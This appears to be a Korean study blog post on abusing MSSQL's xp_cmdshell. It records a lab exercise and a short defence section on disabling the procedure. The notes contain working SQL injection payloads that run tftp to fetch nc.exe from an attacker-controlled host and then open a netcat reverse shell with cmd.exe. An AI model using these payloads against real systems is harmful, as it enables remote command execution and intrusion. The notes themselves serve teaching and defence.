stored procesure(저장이 되어 있는 함수)
(extended procedure)
 
이미 컴파일되어 있어 기계어로 번역되어 있다.
라이브러리 안에 존재한다.


exec master.dbo.xp_cmdshell 'ping 8.8.8.8';
exec: 실행하라
dbo: DB owner를 뜻함
실행하라 master DBdbo.xp_cmdshell을 그리고 ping 8.8.8.8을 쏴라

실습
xp(공격자 입장에서만 작업)
1.서버로 nc.exe 전송
pt69'; exec master.dbo.xp_cmdshell 'tftp -i 192.168.24.128 GET nc.exe'--
2. 전송된 nc.exe를 이용하여 reverse shell 연결
xp cmd : nc -lvp 4321
xp 인젝션 : pt69'; exec master.dbo.xp_cmdshell 'nc.exe 192.168.24.128 4321 -e cmd.exe'--

nc.exe는 전부 지운다
 
 
 
 
실습 서버 -> xp 로 연결하여 xp에 있는 nc파일을 다운 받도록 만드는 과정

tftp 프로그램을 같은 nc와 같은 파일에 넣는다.

아이디에 pt69' exec master.dbo.xp_cmdshell 'tftp -i 192.168.24.128 GET nc.exe';--
또는 pt69'; exec master.dbo.xp_cmdshell 'tftp -i 192.168.24.128 GET nc.exe'-- 한다.
 
윈도우 2000에서 확인해보면 아래와 같다.

현상황
XP cmd : nc -lvp 4321 
인젝션 : pt69'; exec master.dbo.xp_cmdshell 'nc.exe 192.168.24.128 4321 -e cmd.exe'--

확인

cmdshell 비활성화시키고 싶을 때
exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

다시 추가
exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';
xplog70.dll 라이브러리에서 xp_cmdshell을 가져와서 실행한다.

Dynamic Link Library xxx.dll 동적라이브러리
Static Link Library xxx.lib 정적라이브러리

xp_cmdshell 공격을 막는 방법
라이브러리 이름을 바꾸던가 xp_cmdshell을 바꿈.

보안을 위해 xp_cmdshell을 제거하는 시도를 해본다.

xp_cmdshell을 중지시켰음
C:\Program Files\Microsoft SQL Server\MSSQL\Binn 의 경로로 들어가서 xplog70.dll파일을 지우려 했으나 지워지지 않음 쿼리분석기를 끄고도 지워지지 않음.

dll은 나중에 또 쓸 경우를 대비해서 메모리상에 계속 상주함
재부팅후 쿼리분석기를 키기전에 지우면 된다.

'정보보안 > Web' 카테고리의 다른 글

Directory Listing  (743) 2020.07.15
Mass SQL Injection  (728) 2020.07.15
Blind SQL Injection  (722) 2020.07.15
내장 SQL 활용  (752) 2020.07.15
CSRF(Cross-site request forgery)공격  (0) 2020.07.15

+ Recent posts